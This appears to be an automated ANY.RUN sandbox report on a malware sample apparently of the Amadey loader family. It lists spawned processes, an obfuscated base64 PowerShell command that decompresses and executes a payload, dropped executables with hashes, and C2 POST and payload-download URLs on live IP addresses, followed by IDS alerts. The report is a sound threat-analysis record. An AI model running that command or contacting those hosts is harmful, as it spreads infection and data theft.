728"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\admin\AppData\Local\Temp\05ylk2nu.cmdline"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
powershell.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Visual C# Command Line Compiler
Exit code:
0
Version:
4.8.9037.0 built by: NET481REL1
Modules
Images
c:\windows\microsoft.net\framework64\v4.0.30319\csc.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\bcrypt.dll
c:\windows\system32\ole32.dll
728C:\Windows\Sysnative\WindowsPowerShell\v1.0\powershell.exe -NoProfile -NonInteractive -OutputFormat Text -EncodedCommand "JABhACAAPQAgADYANgA1ADYAOwAkAGIAIAA9ACAAJwBDADoAXABVAHMAZQByAHMAXABhAGQAbQBpAG4AXABBAHAAcABEAGEAdABhAFwATABvAGMAYQBsAFwAVABlAG0AcABcAHQAbQBwADYAMwBDAEMALgB0AG0AcAAnADsAIAAmACgAIAAkAHMAaABFAGwAbABpAGQAWwAxAF0AKwAkAFMASABFAEwAbABJAEQAWwAxADMAXQArACcAeAAnACkAKAAgAG4ARQB3AC0AbwBCAGoARQBDAFQAIAAgAHMAeQBzAHQARQBtAC4ASQBvAC4AQwBvAG0AUABSAEUAUwBzAEkATwBuAC4ARABFAGYAbABhAFQAZQBzAFQAUgBFAGEATQAoAFsAaQBPAC4AbQBlAE0ATwBSAHkAcwB0AFIARQBhAE0AXQAgAFsAYwBPAG4AdgBFAHIAdABdADoAOgBmAHIAbwBNAEIAQQBTAEUANgA0AHMAdAByAGkAbgBHACgAJwBwAFYAVABSAGIAdABvAHcARgBIADIAdgB4AEQAOQA0AGkASQBkAEUATQBzAGkAagBhAEoAcQBLAEkAcABXAEcAZABxAHYAVQBhAGgAVgAwAFcAegBYAEUAZwAwAGwAdQBTAFQAVABIAGoAaAB5AG4ARABTAHYANwA5ADkAMABrAFoAbwBVAHUARwAwAFYANwBpAGUAKwBOADcAWABQAHUAOQBUAG4AMgBLAEEAeQA3AHQANgBzAFUAUwBQAFUAZAB3ADMAMABzAFkAeABNAHIAUwBVADcAYgByAGEATQA4AGkAKwBXAFMAVABGAGUAWgBnAFcAUgBJAHQAcgBQAGUASgBKAGMAbQBUAHEAQgAzAEsAUQAxAG8AbABVADUAQgBQADgAUQBCAFoATQBQAFcAVQBaAG8AdgBSAEIAeQBRAFEAUABBAHMASQAzAGQAUABKAEYAQQB5AE0AeQBTAFAAcABTAEUAagBqAHgAVwBNAHMAVAA0ADkASwA0AE0AQgBZADkAUwB2AC8ANwB5AG4ANAB5AHIAbwBNADMAcABlAEIAVwA4AFoASQBzADMARwBRAGwAdwBtAHEAZABMAEcAYQBYADgASABMAFUARQBjADkAOQB2AHUAUABEAFAAYwBJAEEARQBVAHkAQwB3AEoARgBuAEIAagBOAFAAbQBVAGcAcgB6AFIAQwBrAHYASQBuAEkAcQByAG8AQQB1AGwAQgBGAG4AUgBLAHYAdgBoAHYAaABhAHYAMgB1AFUATABsAGMARgBIAEwAawBNAEIAagBpAFUAbwBYAG8AMQBnAE4AMwB5AEoAdABjAG0ANQBHAEEAbQBoAGcAdgBQAGkATgB3AHkAMQB3AGEAYQB3AGUAdQBEADEAcwBEAGkAcwB6AEsAOAA2AE4AbQBDADcAdgBvAFoARQA2AFYAVQBEAHoAVwBKAGwAWQBEAFoALwBKAGwASwA1AFYAZQBOAEEATQB0AHMAUAAwAGgAawBJAFQARwBOAEgAbgAyADMAMAAzADEAdwBYAEkAcwArAGkAUwAvAFMATgB6AG8AUABTAGoAVAA0AFAASQB2AGcAWAA0AGEASABpACsAQgBxADQAZwBRAG0AZQBtAFkASABiAEMASgBQAHcANwB3AEwAWgBuAEcAKwBDAFIAVAAwAFIAYgBQAEwAUQBmAFgAYQA5AEoAYQB1AGEAbQBOAFIARwBUAEQAYwBLAGgATwA2AFQAMwBSAEYANQAyADMAWQBkAHIAYwAvAFcALwBuAHEAOABQAHEAZgAzAFgARwBSAEEAMAB4AEkAdgB2AG4AYwBpAHoANgB2AFgAOQA3ADcAaABGAFgATQAxAG0AQgB3AGIAcQBOAFkATQBMAFYARABpAHYAWABCAFoAUgBMAGUAMgAwAEsAbwBBAE4AKwB4AGQAZwBWAHkAYQBpAEwATABpAEcATwAvAGEAbQBoAFYAOQBIAEQAQQBiAE0ATQB1AFUANwBEAEkAOQBiAGQAcwAvAGMAbwBjADcAegBEACsAcgBwAHQAUwBRADQATAA0ADMAZgAzAGcAaQBvAGcAbAAxAHIAQwByAGIAeABBAE4AVwBlAFUARwA1AGUAOABEAHgAegBTAG4AaABIADQAYwBsAGUAbwBPADkAUwAvAHoAdwBaAFYAOABsADgAdQBOACsANQBCAEsAeQAyAFYAaQBOAFYAZQA4AEgAdABDAEkAWQByADgARgBOAHUAMABJAHcASgBOAGoATgB0ADgAKwA3AEYAcwBFAGMASQBrAEwAegBKAEgAYQBGAGMAMQBoAFoAKwA1AFIAMAByADcAaABjADUAbgB3AEoAeABKADkARwBYAEsAZQB0AG8AMAA3AG8AegBYAHcAbABIADAAQwBiACsAYwBuAEoAaABWAGIASgBHAGMALwBnADMAVwBCAHEATgBEADcAcwBqAHYATQBCAFQAQgBmAG4ARABhAEEAQQAzAFEAbAAvAEoASgAyAEYANgArAEsAMQB1AHMAUABWAEUAMgBkAFcAbgB2AGwAeABmADkANwBoAHQAQgBQAGkANwAxADgAPQAnACAAKQAsACAAWwBzAHkAUwBUAGUATQAuAEkAbwAuAEMATwBtAFAAcgBlAFMAcwBpAE8ATgAuAGMATwBtAHAAcgBlAFMAUwBpAE8AbgBNAG8AZABlAF0AOgA6AGQARQBDAG8AbQBwAHIAZQBTAFMAIAApAHwAIAAlACAAewAgAG4ARQB3AC0AbwBCAGoARQBDAFQAIAAgAEkATwAuAHMAdABSAGUAYQBtAHIAZQBhAGQARQBSACgAIAAkAF8ALABbAFMAWQBTAFQAZQBtAC4AVABlAHgAdAAuAGUAbgBjAG8ARABpAE4ARwBdADoAOgBBAHMAYwBpAEkAIAApAH0AIAB8ACAAJQAgAHsAJABfAC4AUgBlAGEARABUAE8AZQBOAGQAKAApACAAfQApAA==C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe—MSBuild.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows PowerShell
Exit code:
0
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\windowspowershell\v1.0\powershell.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\apphelp.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\oleaut32.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\combase.dll
872"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\admin\AppData\Local\Google\Chrome\User Data\Crashpad" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=122.0.6261.70 --initial-client-data=0x220,0x224,0x228,0x88,0x22c,0x7ffc88ebdc40,0x7ffc88ebdc4c,0x7ffc88ebdc58C:\Program Files\Google\Chrome\Application\chrome.exe—chrome.exe
User:
admin
Company:
Google LLC
Integrity Level:
MEDIUM
Description:
Google Chrome
Exit code:
0
Version:
122.0.6261.70
Modules
Images
c:\program files\google\chrome\application\chrome.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\apphelp.dll
c:\windows\system32\aclayers.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\user32.dll
c:\windows\system32\win32u.dll
c:\windows\system32\gdi32.dll
896"C:\WINDOWS\System32\cmd.exe" /C "C:\Users\admin\AppData\Local\Temp\vGduGWr.bat" C:\Windows\System32\cmd.exe
nircmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
HIGH
Description:
Windows Command Processor
Exit code:
0
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\cmd.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\apphelp.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\combase.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\cmdext.dll
924"C:\Windows\System32\cmd.exe" /c sc query IObitUnlockerC:\Windows\System32\cmd.exe—Unlocker.exe
User:
SYSTEM
Company:
Microsoft Corporation
Integrity Level:
SYSTEM
Description:
Windows Command Processor
Exit code:
1060
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\cmd.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\apphelp.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\combase.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\sechost.dll
976"C:\Users\admin\AppData\Local\Temp\10118180101\940d90a66e.exe" C:\Users\admin\AppData\Local\Temp\10118180101\940d90a66e.exe
ramez.exe
User:
admin
Company:
Integrity Level:
MEDIUM
Description:
MyApp Setup
Exit code:
0
Version:
Modules
Images
c:\users\admin\appdata\local\temp\10118180101\940d90a66e.exe
c:\windows\system32\ntdll.dll
c:\windows\syswow64\ntdll.dll
c:\windows\system32\wow64.dll
c:\windows\system32\wow64win.dll
c:\windows\system32\wow64cpu.dll
c:\windows\syswow64\kernel32.dll
c:\windows\syswow64\kernelbase.dll
c:\windows\syswow64\apphelp.dll
c:\windows\syswow64\comctl32.dll
Total events
138 347
Read events
138 109
Write events
106
Delete events
132

Modification events

(PID) Process:(7772) ramez.exeKey:HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Content
Operation:writeName:CachePrefix
Value:
(PID) Process:(7772) ramez.exeKey:HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Cookies
Operation:writeName:CachePrefix
Value:
Cookie:
(PID) Process:(7772) ramez.exeKey:HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\History
Operation:writeName:CachePrefix
Value:
Visited:
(PID) Process:(6488) 940d90a66e.tmpKey:HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\MyApp_is1
Operation:writeName:Inno Setup: Setup Version
Value:
6.4.0
(PID) Process:(6488) 940d90a66e.tmpKey:HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\MyApp_is1
Operation:writeName:Inno Setup: App Path
Value:
C:\Users\admin\AppData\Roaming\MyApp
(PID) Process:(6488) 940d90a66e.tmpKey:HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\MyApp_is1
Operation:writeName:InstallLocation
Value:
C:\Users\admin\AppData\Roaming\MyApp\
(PID) Process:(6488) 940d90a66e.tmpKey:HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\MyApp_is1
Operation:writeName:Inno Setup: Icon Group
Value:
MyApp
(PID) Process:(6488) 940d90a66e.tmpKey:HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\MyApp_is1
Operation:writeName:Inno Setup: User
Value:
admin
(PID) Process:(6488) 940d90a66e.tmpKey:HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\MyApp_is1
Operation:writeName:Inno Setup: Language
Value:
default
(PID) Process:(6488) 940d90a66e.tmpKey:HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\MyApp_is1
Operation:writeName:DisplayName
Value:
MyApp version 1.0
Executable files
48
Suspicious files
229
Text files
202
Unknown types
1

Dropped files

PID
Process
Filename
Type
3100WerFault.exeC:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_core.exe_886c815d477c844ede457e596603d2a56615294_17ef0d8c_4e9b9657-5b19-4ad6-b291-f904f009a742\Report.wer —
MD5:—
SHA256:—
6488940d90a66e.tmpC:\Users\admin\AppData\Local\Temp\is-H2UTT.tmp\_isetup\_setup64.tmpexecutable
MD5:E4211D6D009757C078A9FAC7FF4F03D4
SHA256:388A796580234EFC95F3B1C70AD4CB44BFDDC7BA0F9203BF4902B9929B136F95
6488940d90a66e.tmpC:\Users\admin\AppData\Roaming\MyApp\is-FPJD9.tmpexecutable
MD5:4134EC81A9D645602B1FA265F98FBF35
SHA256:69966257CE41717F2121EA1F03F8BFA1486423ACECFCC977DD9F1E157C911AD4
7772ramez.exeC:\Users\admin\AppData\Local\Microsoft\Windows\INetCache\IE\RR3E01RZ\random[1].exeexecutable
MD5:DCBFAB753554CD4CD7372AFB49FB0EE1
SHA256:A6E46CC6EA6BB54C37B6846E77047932BC3C871D7363A9114A916EB44702A039
7356WerFault.exeC:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_5f031722c5.exe_4e99b79d874a2e6b5bc839149cfe8b92cc9b3eb2_fdf67212_17632e86-cec5-49e0-a712-ac3c0909cbbf\Report.wer —
MD5:—
SHA256:—
7580Sigmanly_00a1c9b1fd22191aae89c1c94bd11a852752c94e621856f2d4fb0b3e6f74a154.exeC:\Windows\Tasks\ramez.jobbinary
MD5:E37AF83F004D9A7B9FDD10B0E9F1A0D3
SHA256:D9A5FCC06603057E2E069A10929B9ED25A7BC464D93E907A93F79684C549EAE9
6488940d90a66e.tmpC:\Users\admin\AppData\Roaming\MyApp\core.exeexecutable
MD5:EAD2EDCCEEE35F3BB9068A03C29153DC
SHA256:38960AA3D4DE97E9936FE8A90A28E67453CFD048509E3B0B886D3C672F90D3C3
976940d90a66e.exeC:\Users\admin\AppData\Local\Temp\is-8U5KG.tmp\940d90a66e.tmpexecutable
MD5:E4C43138CCB8240276872FD1AEC369BE
SHA256:46BE5E3F28A5E4ED63D66B901D927C25944B4DA36EFFEA9C97FB05994360EDF5
6488940d90a66e.tmpC:\Users\admin\AppData\Roaming\MyApp\is-UOPA9.tmpexecutable
MD5:EAD2EDCCEEE35F3BB9068A03C29153DC
SHA256:38960AA3D4DE97E9936FE8A90A28E67453CFD048509E3B0B886D3C672F90D3C3
7772ramez.exeC:\Users\admin\AppData\Local\Temp\10118180101\940d90a66e.exeexecutable
MD5:DCBFAB753554CD4CD7372AFB49FB0EE1
SHA256:A6E46CC6EA6BB54C37B6846E77047932BC3C871D7363A9114A916EB44702A039
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
38
TCP/UDP connections
203
DNS requests
182
Threats
34

HTTP requests

PID
Process
Method
HTTP Code
IP
URL
CN
Type
Size
Reputation
2104
svchost.exe
GET
200
23.35.229.160:80
http://www.microsoft.com/pkiops/crl/MicSecSerCA2011_2011-10-18.crl
unknown
—
—
whitelisted
2104
svchost.exe
GET
200
23.48.23.183:80
http://crl.microsoft.com/pki/crl/products/MicRooCerAut2011_2011_03_22.crl
unknown
—
—
whitelisted
7772
ramez.exe
POST
200
185.156.72.96:80
http://185.156.72.96/te4h2nus/index.php
unknown
—
—
malicious
7316
info.exe
GET
—
45.155.69.47:80
http://pub-stat-999.twilightparadox.com/api/record?t=p3
unknown
—
—
unknown
7772
ramez.exe
GET
200
185.156.72.2:80
http://185.156.72.2/files/unique1/random.exe
unknown
—
—
unknown
7772
ramez.exe
POST
200
185.156.72.96:80
http://185.156.72.96/te4h2nus/index.php
unknown
—
—
malicious
7772
ramez.exe
GET
200
185.156.72.2:80
http://185.156.72.2/files/fate/random.exe
unknown
—
—
unknown
7772
ramez.exe
POST
200
185.156.72.96:80
http://185.156.72.96/te4h2nus/index.php
unknown
—
—
malicious
7772
ramez.exe
POST
200
185.156.72.96:80
http://185.156.72.96/te4h2nus/index.php
unknown
—
—
malicious
7772
ramez.exe
GET
200
185.156.72.2:80
http://185.156.72.2/luma/random.exe
unknown
—
—
unknown
Download PCAP, analyze network streams, HTTP content and a lot more at the full report

Connections

PID
Process
IP
Domain
ASN
CN
Reputation
—
—
51.104.136.2:443
settings-win.data.microsoft.com
MICROSOFT-CORP-MSN-AS-BLOCK
IE
whitelisted
4
System
192.168.100.255:138
—
—
—
whitelisted
5496
MoUsoCoreWorker.exe
51.104.136.2:443
settings-win.data.microsoft.com
MICROSOFT-CORP-MSN-AS-BLOCK
IE
whitelisted
—
—
172.211.123.250:443
client.wns.windows.com
MICROSOFT-CORP-MSN-AS-BLOCK
FR
whitelisted
2104
svchost.exe
23.48.23.183:80
crl.microsoft.com
Akamai International B.V.
DE
whitelisted
2104
svchost.exe
23.35.229.160:80
www.microsoft.com
AKAMAI-AS
DE
whitelisted
6544
svchost.exe
40.126.32.134:443
login.live.com
MICROSOFT-CORP-MSN-AS-BLOCK
NL
whitelisted
2104
svchost.exe
40.127.240.158:443
settings-win.data.microsoft.com
MICROSOFT-CORP-MSN-AS-BLOCK
IE
whitelisted
7772
ramez.exe
185.156.72.96:80
—
Tov Vaiz Partner
RU
malicious
3216
svchost.exe
172.211.123.250:443
client.wns.windows.com
MICROSOFT-CORP-MSN-AS-BLOCK
FR
whitelisted

DNS requests

Domain
IP
Reputation
settings-win.data.microsoft.com
  • 51.104.136.2
  • 40.127.240.158
whitelisted
google.com
  • 142.250.185.142
whitelisted
client.wns.windows.com
  • 172.211.123.250
whitelisted
crl.microsoft.com
  • 23.48.23.183
  • 23.48.23.164
  • 23.48.23.166
  • 23.48.23.181
  • 23.48.23.162
  • 23.48.23.188
  • 23.48.23.174
  • 23.48.23.180
  • 23.48.23.169
  • 2.19.11.105
  • 2.19.11.120
whitelisted
www.microsoft.com
  • 23.35.229.160
  • 95.101.149.131
whitelisted
login.live.com
  • 40.126.32.134
  • 20.190.160.14
  • 20.190.160.3
  • 20.190.160.5
  • 20.190.160.132
  • 20.190.160.66
  • 20.190.160.17
  • 20.190.160.65
whitelisted
t.me
  • 149.154.167.99
whitelisted
16.16.4t.com
  • 78.47.78.115
unknown
slscr.update.microsoft.com
  • 20.109.210.53
whitelisted
anesthwtcm.run
  • 104.21.50.36
  • 172.67.156.51
unknown

Threats

PID
Process
Class
Message
7772
ramez.exe
Misc Attack
ET DROP Spamhaus DROP Listed Traffic Inbound group 34
7772
ramez.exe
Malware Command and Control Activity Detected
BOTNET [ANY.RUN] Amadey HTTP POST Request (st=s)
7772
ramez.exe
Malware Command and Control Activity Detected
ET MALWARE Amadey CnC Response
7772
ramez.exe
Potentially Bad Traffic
ET INFO Executable Download from dotted-quad Host
7772
ramez.exe
Potentially Bad Traffic
ET INFO Executable Retrieved With Minimal HTTP Headers - Potential Second Stage Download
7772
ramez.exe
Potentially Bad Traffic
ET HUNTING SUSPICIOUS Dotted Quad Host MZ Response
7772
ramez.exe
Potential Corporate Privacy Violation
ET INFO PE EXE or DLL Windows file download HTTP
7772
ramez.exe
Misc Attack
ET DROP Spamhaus DROP Listed Traffic Inbound group 34
7316
info.exe
Potentially Bad Traffic
ET DYN_DNS DYNAMIC_DNS HTTP Request to a *.twilightparadox .com Domain
7772
ramez.exe
Potentially Bad Traffic
ET INFO Executable Download from dotted-quad Host
No debug info
Interactive malware hunting service ANY.RUN
© 2017-2025 ANY.RUN ALL RIGHTS RESERVED
ANY.RUN
Reports
Sigmanly_00a1c9b1fd22191aae89c1c94bd11a852752c94e621856f2d4fb0b3e6f74a154